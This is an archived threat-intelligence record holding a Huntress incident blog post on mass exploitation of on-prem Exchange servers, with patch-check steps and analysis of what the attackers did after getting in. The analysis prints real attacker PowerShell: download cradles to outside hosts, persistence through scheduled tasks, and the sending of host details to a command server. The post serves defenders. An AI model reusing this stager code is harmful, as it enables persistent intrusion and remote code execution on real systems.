{
	"id": "b97d8d50-8ef5-4f5c-a9d1-a441e45aa6df",
	"created_at": "2026-04-06T00:17:29.174839Z",
	"updated_at": "2026-04-10T03:35:48.571681Z",
	"deleted_at": null,
	"sha1_hash": "466fca18fe0e999eb7d1043a777a332db93b501a",
	"title": "Rapid Response: Mass Exploitation of On-Prem Exchange Servers | Huntress",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3060584,
	"plain_text": "Rapid Response: Mass Exploitation of On-Prem Exchange Servers |\r\nHuntress\r\nArchived: 2026-04-05 13:57:18 UTC\r\nUPDATED 14 April:\r\nHuntress is aware of the new Microsoft Exchange vulnerabilities disclosed in the Microsoft April Security Update.\r\nOur team has yet to detect exploits targeting these new vulnerabilities on any hosts running the Huntress agent but\r\nwill continue to closely monitor for these threats. These vulnerabilities are all branded as \"critical\" in severity and\r\nagain offer remote code execution to an attacker. Considering the strong focus on Exchange by a large number of\r\nthreat actors, it is absolutely imperative that organizations patch as quickly as they can. We recommend you update\r\nto the latest security patch, monitor for new indicators of compromise and stay up-to-date on new information as it\r\nreleases. We will continue to update this post with new findings. \r\nUPDATED 05 March @ 1347pm ET: Added instructions on verifying patch status and new IOCs.\r\nUPDATED 05 March @ 1904pm ET: Added PowerShell syntax to verify patch status.\r\nUPDATED 06 March @ 0004am ET: Added official Microsoft NSE script and new post-exploitation. \r\nUPDATED 06 March @ 0317am ET: Added analysis leading to \"stage 6\": Cobalt Strike \u0026 Mimikatz.\r\nOn March 1, our team was notified about undisclosed Microsoft Exchange vulnerabilities successfully exploiting on-prem\r\nservers. After the tip from one of our MSP partners, we confirmed the activity and Microsoft has since released an initial\r\nblog and emergency patches for the vulnerabilities. \r\nThe purpose of this blog post is to spread the word that this is being actively exploited in the wild. At the moment, we’ve\r\ndiscovered 350+ webshells across roughly 3,000 vulnerable servers (majority have AV/EDR installed) and we expect this\r\nnumber to keep rising. \r\nUPDATE 05 March 1347pm ET: Currently we have visibility on roughly 3,000 Exchange servers. We see ~800\r\nremain unpatched without the hotfix for an up-to-date CU version number.\r\nWe will continue to update this blog with our observations and IOCs to drive awareness. You can also check out our reddit\r\nthread to stay up to date.\r\nWant more in-depth info on these vulnerabilities? Watch our on-demand webinar or download the slides to\r\nhear about our research, new IOCs and more. \r\nWhat’s Happening?\r\nAccording to Microsoft’s initial blog, they detected multiple zero-day exploits being used to plunder on-premises versions of\r\nMicrosoft Exchange Server in what they claim are “limited and targeted attacks.” They also highlight that threat actor\r\n\"HAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease\r\nresearchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\"\r\nThis seems to be much a larger spread than just \"limited and targeted attacks\" as Microsoft has suggested. From our\r\nresearch, we've checked over 3,000 Exchange servers and see ~800 remain unpatched, identifying over 300 of our partners’\r\nservers that have received webshell payloads.\r\nThese companies do not perfectly align with Microsoft's guidance as some personas are small hotels, an ice cream company,\r\na kitchen appliance manufacture, multiple senior citizen communities and other \"less than sexy\" mid-market businesses.\r\nWe’ve also witnessed many city and county government victims, healthcare providers, banks/financial institutions, and\r\nseveral residential electricity providers.\r\nAmong the vulnerable servers, we also found over 350 webshells - some targets may have more than one webshell,\r\npotentially indicating automated deployment or multiple uncoordinated actors. These endpoints do have antivirus or EDR\r\nsolutions installed, but this has seemingly slipped past a majority of preventative security products. And with insight from\r\nthe community, we’ve seen honeypots attacked - making it clear that threat actors are just scanning the internet looking for\r\nlow-hanging fruit.\r\nThese attacks are grave due to the fact that every organization simply has to have email, and Microsoft Exchange is so\r\nwidely used. These servers are typically publicly accessible on the open internet and they can be exploited remotely. These\r\nvulnerabilities can be leveraged to gain remote code execution and fully compromise the target. From there, the attackers\r\nhave a foothold in the network and can expand their access and do much more damage.\r\nWhat Should MSPs Do?\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 1 of 9\n\nIf you use on-prem Microsoft Exchange Servers, you might want to assume you’ve been hit. We recommend you not only\r\npatch immediately, but externally validate the patch and hunt for the presence of these webshells and other indicators of\r\ncompromise (see the technical details below). Trusting the dashboard is simply not enough.\r\nThus far, it looks like all preventive products allowed the webshell to get dropped. Here's a small sampling of the files found\r\nand which AV/EDR/SOCaaS solutions were installed.\r\nUPDATE 05 March 1347pm ET: External validation of the patch via a community Nmap script does not validate via\r\nthe full version and is no longer advised. The version information included in Exchange server Registry Keys also\r\ndoes not seem to match the full version of the active installation if it is updated. The single source of truth we have\r\ndetermined is the exact version number for the running Exchange service. To validate your patch, please continue\r\nreading.\r\nUPDATE 06 March 0004am ET: An official Nmap NSE has been provided by Microsoft that can identify is your\r\nsystems are still vulnerable and validate patching. From our tests, this has provided reliable results.\r\nhttps://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse\r\nTo check your own patch status, we recommend you view the version number of the\r\nMicrosoft.Exchange.RpcClientAccess.Service.exe binary present in the installation path of your Exchange server.  You can\r\nview this by right-clicking the file in Explorer, selecting Properties, and switching to the Details tab.\r\nWhile the default installation path for Exchange is C:\\Program Files\\Microsoft\\Exchange Server\\V15\\bin, if you have a\r\ncustom installation path that you are unaware of, you can examine this registry key to find the current path for versions of\r\nExchange 2013 or greater:\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ExchangeServer\\v15\\Setup\\MsiInstallPath\r\nExchange versions 2010 and below are end-of-life and should not be used in production.\r\nVerify that the full version of this Microsoft.Exchange.RpcClientAccess.Service.exe file and its SHA256 hash is present in\r\nthis chart below. This information comes from the official Microsoft Knowledge Base documentation per each version of\r\nExchange and respective CU.\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 2 of 9\n\nExchange\r\nVersion\r\nHash of MSExchangeRPC Service Binary Version\r\nMS Patch\r\nLink\r\nExchange\r\n2013\r\nCU23\r\nPatched\r\n17a077eab538ca80155e6667735a1bc86510b08656e79fd6e931687b573042ca 15.0.1497.12 KB5000871\r\nExchange\r\n2016\r\nCU18\r\nPatched\r\n92d17848f4c0fd4d7ab99842f8058ed9925179611b8b4ad2084fabb1a39badc1 15.1.2106.13 KB5000871\r\nExchange\r\n2016\r\nCU19\r\nPatched\r\n18f85477f7edad2ca5686a1bc362c3ebed0ef37ba993ca61fc1fcc3249799cf2 15.1.2176.9 KB5000871\r\nExchange\r\n2019 CU7\r\nPatched\r\naf9fdab713ca9223719448f81cfba9018563ebef2b61e09e4e2ceb13efa6ef49 15.2.721.13 KB5000871\r\nExchange\r\n2019 CU8\r\nPatched\r\n4c77d11aeaf590e6316125d8cd8217b69334aa62956097628d09b46b93203c0e 15.2.792.10 KB5000871\r\nThe full value of the version number must match.\r\nNote: we do need to be forthcoming in that this approach is only checking the version of  one file, the RPC Client\r\nAccess Service, that our analysis has indicated does in fact update on fully patched hosts. This does not truly say the patch\r\nwas 100% applied correctly, but does indicate at a minimum partial installation. It is likely if this version is correct and the\r\nserver is functional, the patch was applied properly.\r\nThis process is not automated by Huntress. The Huntress agent alone is not a vulnerability scanning tool and cannot\r\ndetermine 100% patch status.\r\n$SafeVersions = \"15.2.792.10\",\"15.2.721.13\",\"15.1.2176.9\",\"15.1.2106.13\",\"15.0.1497.12\",\"14.3.513.0\"|Foreach-Object {[version]$_}; $Version =\r\n[System.Diagnostics.FileVersionInfo]::GetVersionInfo(\"$($ENV:ExchangeInstallPath)\\bin\\Exsetup.exe\").FileVersion;\r\nif ($SafeVersions -notcontains $Version){ Write-Host -ForegroundColor Red \"[!] Patch not installed\r\nsuccessfully, this server must be patched.\" } else { Write-Host -ForegroundColor Green \"[+] Exchange\r\nFileVersion is updated, the patch is in place.\" }\r\nHuntress Is Here to Help\r\nUPDATE 05 March 1347pm ET: We are automatically detecting the presence of malicious webshells and active\r\nexploitation, and will send a critical report if/when those are discovered. These reports will not automatically close out and\r\nwill remain after you have completed patching. To close the incident report please email support@huntress.com and we will\r\nmanually close the report.\r\nHuntress is staying engaged with the threat intelligence and notifying as many individuals as possible as quickly as possible.\r\nNot only are we committed to educating you on how these vulnerabilities are being exploited, we’re also using our own\r\nplatform to help us identify as many infected hosts as we can. \r\nWe have had to get creative to help join the fight here. This is not something that “Huntress would normally find”, because\r\nthese indicators of compromise are not persistence mechanisms. At the very start of this incident, practically all preventative\r\nsecurity measures let this slip by -- however now that the news broke, many are adding this capability into their detections.\r\nOur engineering team has worked overnight to create code to generate incident reports for all of the agents where we've\r\ndetected infections. As of March 3rd, all of these incident reports have been sent to every organization that we were aware\r\nhad an infected host. These reports also included Assisted Remediation playbooks that will remove the “China Chopper”\r\nASPX webshells that we discovered.\r\nSince this is an active exploit, we’ve added Monitored Files that will look for both existing and new webshells that are being\r\ndropped. \r\nWe are communicating with partners in full transparency that this is additional support we offer to be the best stewards of\r\nsecurity. We have visibility on thousands of servers and have uncovered multiple new indicators of compromise, and we\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 3 of 9\n\nunderstand the magnitude of this incident. Despite this initially being blanketed with the description of “limited and\r\ntargeted” in scope, we cannot shrug this off -- and we cannot allow our partners to do so either.\r\nTechnical Details\r\nThe vulnerabilities affect on-prem Microsoft Exchange Server. Exchange Online is not affected.  \r\nThe versions affected are: \r\nMicrosoft Exchange Server 2019 \r\nMicrosoft Exchange Server 2016  \r\nMicrosoft Exchange Server 2013  \r\nMicrosoft Exchange Server 2010\r\nCVEs affiliated with this incident:\r\nCVE-2021-26855\r\nCVE-2021-26857\r\nCVE-2021-26858\r\nCVE-2021-27065\r\nWe are finding a significant number of webshells within the \"C:\\inetpub\\wwwroot\\aspnet_client\\system_web\" directory.\r\nPlease keep in mind, this location can be redirected via the \"PathWWWRoot\" value in the\r\n\"HKLM\\SOFTWARE\\Microsoft\\InetStp\" registry key. Webshell file names include:\r\nUPDATE 05 March 1347pm ET: We offer 358 unique webshell filenames.\r\nSome webshell filenames seem to be randomly generated, while some seem to be a static string. This list includes new\r\nwebshell names that we have not yet seen included in Microsoft’s reporting.\r\nThe webshell that these threat actors are using is known as the \"China Chopper\" one-liner. These are often in either the\r\nASPX or PHP web language, and will execute code passed in as an HTTP argument included in the request. The one-liner is\r\nslipped into a file and has a syntax like so:\r\nhttp://f/\r\nUPDATE 05 March 1347pm ET: We offer 25 unique webshell HTTP request variables.\r\nNote that the different naming conventions of these ASPX webshells indicates the use of a different request variable. From\r\nthe files we have seen thus far, we offer this breakdown also available online.\r\nPost-Exploitation Analysis\r\nUPDATE 06 March 0004am ET: These are new details just discovered.\r\nFrom a previously discovered webshell, we saw the execution of a command that was detected and stopped by Windows\r\nDefender. \r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 4 of 9\n\nThis PowerShell payload runs the Base64 encoded command (link defanged):\r\nIEX (New-Object Net.WebClient).downloadstring('http[:]//p.estonine.com/p?e')\r\nThis domain is hosted on yet another Digital Ocean IP address, which we have reported.\r\nThe response from this domain is a PowerShell download cradle, which seems to pull down a stager. Downloading the\r\ncontents from this URL, we see:\r\nInvoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.Mem\r\nThis syntax loads more PowerShell code into memory, after decoding Base64 and decompressing it. The next layer includes\r\nthis content:\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 5 of 9\n\n[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -\r\nexpand MAC)\r\ntry{\r\n$name = 'Global\\PSEXEC'\r\n$exeflag = $flase\r\nNew-Object System.Threading.Mutex ($true,$name,[ref]$exeflag)\r\n}catch{}\r\n$dt = Get-Date -Format 'yyMMdd'\r\n$path = \"$env:temp\\\\ccc.log\"\r\n[string]$flag = test-path $path\r\n$permit = ([Security.Principal.WindowsPrincipal]\r\n[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]\r\n\"Administrator\")\r\n$key = \"mac=\"+$mac+\"\u0026av=\"+$av+\"\u0026version=\"+(Get-WmiObject -Class\r\nWin32_OperatingSystem).version+\"\u0026bit=\"+(Get-WmiObject Win32_OperatingSystem).OSArchitecture +\r\n\"\u0026flag2=\" + $flag + \"\u0026domain=\" + (Get-WmiObject win32_computersystem).Domain + \"\u0026user=\" +\r\n$env:USERNAME + \"\u0026PS=\" + $exeflag\r\nif($flag -eq 'False'){\r\nNew-Item $path -type file\r\nif($permit){\r\ntry{\r\n$Text = \"IEX (New-Object Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?hig\" + $dt + \"')\"\r\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)\r\n$bcode = [Convert]::ToBase64String($Bytes)\r\n$scexec = \"/create /ru system /sc MINUTE /mo 45 /tn Winnet /tr \" + '\"' + \"powershell -ep bypass -e $bcode\" + '\" /F'\r\nStart-Process -FilePath schtasks.exe -ArgumentList \"$scexec\"\r\n}catch{}\r\n}else{\r\ntry{\r\n$Text = \"IEX (New-Object Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?low\" + $dt + \"')\"\r\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)\r\n$bcode = [Convert]::ToBase64String($Bytes)\r\n$scexec = \"/create /sc MINUTE /mo 45 /tn Winnet /tr \" + '\"' + \"powershell -ep bypass -e $bcode\" + '\" /F'\r\nStart-Process -FilePath schtasks.exe -ArgumentList \"$scexec\"\r\n}catch{}\r\n}\r\n\u0026schtasks /run /tn \"Winnet\"\r\n}else{}\r\nsleep (get-random -inputobject (1..20))\r\ntry{\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 6 of 9\n\n$run = Get-WmiObject Win32_Process | select commandline | Select-String -Pattern \"downloadstring\"\r\nif(($run.length -lt 0) -and $exeflag){\r\n$onps = \"/c powershell -nop -w hidden -ep bypass -c \" + '\"' + \"IEX (New-Object Net.WebClient).downloadstring('\"\r\n+ \"http://188.166.162.201/update.png?\u0026\" + $key + \"')\" + '\"'\r\nStart-Process -FilePath cmd.exe -ArgumentList \"$onps\"\r\n}else{}\r\n}catch{}\r\nkill $pid\r\nThis code looks to gather data on the specific target and uses that to request more additional code from external servers. It\r\nsets up persistence via scheduled tasks depending on the amount of privileges and integrity level, and looks to execute\r\nanother obfuscated payload every 45 minutes. These payloads pull from http[:]//cdn.chatcdn.net/p?low210305  or\r\nhttp[:]//cdn.chatcdn.net/p?hig210305 based on high or medium integrity.\r\nInterestingly enough, both of these payloads are the same.\r\nInvoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object\r\nIO.MemoryStream\r\n(,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z289957773\r\n[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\r\nThe final download we see calls out to http[:]//188.166.162.201/update.png, passing along the information gathered from\r\nthis host. Requesting that URL with fake analysis data, we see a hefty 2 MB response which can yet again be decoded. For\r\nbrevity we will not include that payload in this post but link to it here.\r\nThe decoded payload is a whopping 6 MB. For your own analysis, you can find that latest payload here.\r\nAs of 06 March 0100am ET, we see the presence of this Winnet persistent service on 5 compromised Exchange servers. We\r\ncan expect this number to increase and will be monitoring closely... this \"more traditional\" persistence method is what\r\nHuntress is fine-tuned to catch. ;)\r\nThe traces of PowerShell we uncovered previously seem to be already known from previous research:\r\nhttps://vulners.com/carbonblack/CARBONBLACK:6730D6EB8DF875C002A93DBC78C80B9D\r\nUPDATE 06 March 0216am ET: We have worked through another layer of the onion. That 6 MB PowerShell payload\r\nuses a humongous multiline format-string to reorder and rearrange the entirety of the file, and pipe it into IEX or\r\nInvoke-Expression. It uses the typical $env:COMSPEC indexing technique to \"spell out\" the IEX alias. Removing\r\nthe IEX we can let it unravel itself and reveal the next stage.\r\nWhat we are calling \"stage five\" (jeez) you can find here on this public Gist.\r\nSome techniques are immediately noticeable. The use of sporadic ` backticks in a PowerShell command to \"escape\"\r\ncharacters helps separate strings. There is clear use of inline C# and compiling code with the Add-Type cmdlet, gaining\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 7 of 9\n\naccess to Win32 API calls, and more.\r\nUPDATE 0317am ET: Inside the \"stage five\" PowerShell code, we see two Base64 binaries. Extracting these out, we\r\nreach \"stage six\" and uncover DLL files. These are not .NET assemblies and we cannot easily open them up in dnSpy\r\nor ILSpy, and we're left to tools like GHIDRA/IDA/Hopper. \r\nThere are breadcrumbs that indicate the use of SQLite, Mimikatz, dumping Google Chrome credentials and more.\r\nFrom the stage 5 code, we can see that it does load these DLLs and invoke portions to literally run\r\n\"powershell_reflective_mimikatz\".\r\nWe believe that these are both the 32-bit and 64-bit renditions of Mimikatz.\r\nWhile we are still digging through these to find more definitive details, simply passing these into a scanner like VirusTotal\r\nor ReversingLabs makes these binaries light up like a Christmas tree.\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 8 of 9\n\n*We will continue to update this post as more information flows in.\r\nSource: https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nhttps://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"Malpedia"
	],
	"references": [
		"https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers"
	],
	"report_names": [
		"rapid-response-mass-exploitation-of-on-prem-exchange-servers"
	],
	"threat_actors": [
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "7c969685-459b-4c93-a788-74108eab6f47",
			"created_at": "2023-01-06T13:46:39.189751Z",
			"updated_at": "2026-04-10T02:00:03.241102Z",
			"deleted_at": null,
			"main_name": "HAFNIUM",
			"aliases": [
				"Red Dev 13",
				"Silk Typhoon",
				"MURKY PANDA",
				"ATK233",
				"G0125",
				"Operation Exchange Marauder"
			],
			"source_name": "MISPGALAXY:HAFNIUM",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "2704d770-43b4-4bc4-8a5a-05df87416848",
			"created_at": "2022-10-25T15:50:23.306305Z",
			"updated_at": "2026-04-10T02:00:05.296581Z",
			"deleted_at": null,
			"main_name": "HAFNIUM",
			"aliases": [
				"HAFNIUM",
				"Operation Exchange Marauder",
				"Silk Typhoon"
			],
			"source_name": "MITRE:HAFNIUM",
			"tools": [
				"Tarrask",
				"ASPXSpy",
				"Impacket",
				"PsExec",
				"China Chopper"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "529c1ae9-4579-4245-86a6-20f4563a695d",
			"created_at": "2022-10-25T16:07:23.702006Z",
			"updated_at": "2026-04-10T02:00:04.71708Z",
			"deleted_at": null,
			"main_name": "Hafnium",
			"aliases": [
				"G0125",
				"Murky Panda",
				"Red Dev 13",
				"Silk Typhoon"
			],
			"source_name": "ETDA:Hafnium",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434649,
	"ts_updated_at": 1775792148,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/466fca18fe0e999eb7d1043a777a332db93b501a.pdf",
		"text": "https://archive.orkl.eu/466fca18fe0e999eb7d1043a777a332db93b501a.txt",
		"img": "https://archive.orkl.eu/466fca18fe0e999eb7d1043a777a332db93b501a.jpg"
	}
}